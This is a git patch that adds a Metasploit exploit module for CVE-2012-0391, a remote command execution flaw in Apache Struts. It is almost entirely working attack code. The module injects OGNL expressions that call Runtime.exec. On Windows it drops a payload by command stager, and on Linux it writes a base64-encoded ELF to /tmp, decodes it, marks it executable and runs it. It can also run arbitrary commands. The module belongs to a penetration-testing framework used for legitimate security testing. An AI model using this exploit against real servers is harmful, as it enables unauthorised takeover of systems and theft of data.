From efe4136e5b80e9c47f3d95d0e6c35f8e18bfe46b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 3 Jun 2012 22:08:31 +0200 Subject: [PATCH] Added module for CVE-2012-0391 --- .../struts_code_exec_exception_delegator.rb | 154 ++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 modules/exploits/multi/http/struts_code_exec_exception_delegator.rb diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb new file mode 100644 index 0000000000..c7f2d6ab5a --- /dev/null +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -0,0 +1,154 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in + Apache Struts versions < 2.2.1.1. This issue is caused because the + ExceptionDelegator interprets parameter values as OGNL expressions + during certain exception handling for mismatched data types of properties, + which allows remote attackers to execute arbitrary Java code via a + crafted parameter. + }, + 'Author' => + [ + 'Johannes Dahse', # Vulnerability discovery and PoC + 'Andreas Nusser', # Vulnerability discovery and PoC + 'juan vazquez', # Metasploit module + 'sinn3r' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: $', + 'References' => + [ + [ 'CVE', '2012-0391'], + [ 'OSVDB', '78277'], + [ 'EDB', '18329'], + [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] + ], + 'Platform' => [ 'win', 'linux'], + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + ], + 'DisclosureDate' => 'Jan 06 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('URI', [ true, 'The path to a struts application action and parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) + ], self.class) + end + + def execute_command(cmd, opts = {}) + + vprint_status("cmd: #{cmd}") + vprint_status(datastore['URI']) + uri = String.new(datastore['URI']) + uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win' + uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux' + uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) + + vprint_status("Attempting to execute: #{cmd}") + vprint_status("uri: #{uri}") + + resp = send_request_raw({ + 'uri' => uri, + 'version' => '1.1', + 'method' => 'GET', + }, 5) + + end + + def windows_stager + exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" + + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + execute_cmdstager({ :temp => '.'}) + @payload_exe = payload_exe + + print_status("Attempting to execute the payload...") + execute_command(@payload_exe) + end + + def linux_stager + cmds = "/bin/sh@-c@echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + + execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + + execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("/bin/sh@-c@chmod +x /tmp/#{file}") + execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") + + execute_command("/bin/sh@-c@/tmp/#{file}") + @payload_exe = "/tmp/" + file + end + + def on_new_session(client) + if target['Platform'] == 'linux' + print_status("Deleting #{@payload_exe} payload file") + execute_command("/bin/sh@-c@rm #{@payload_exe}") + else + print_status("Windows does not allow running executables to be deleted") + print_status("Delete the #{@payload_exe} file manually after migrating") + end + end + + def exploit + if not datastore['CMD'].empty? + print_status("Executing user supplied command") + execute_command(datastore['CMD']) + return + end + + case target['Platform'] + when 'linux' + linux_stager + when 'win' + windows_stager + else + raise RuntimeError, 'Unsupported target platform!' + end + + handler + end +end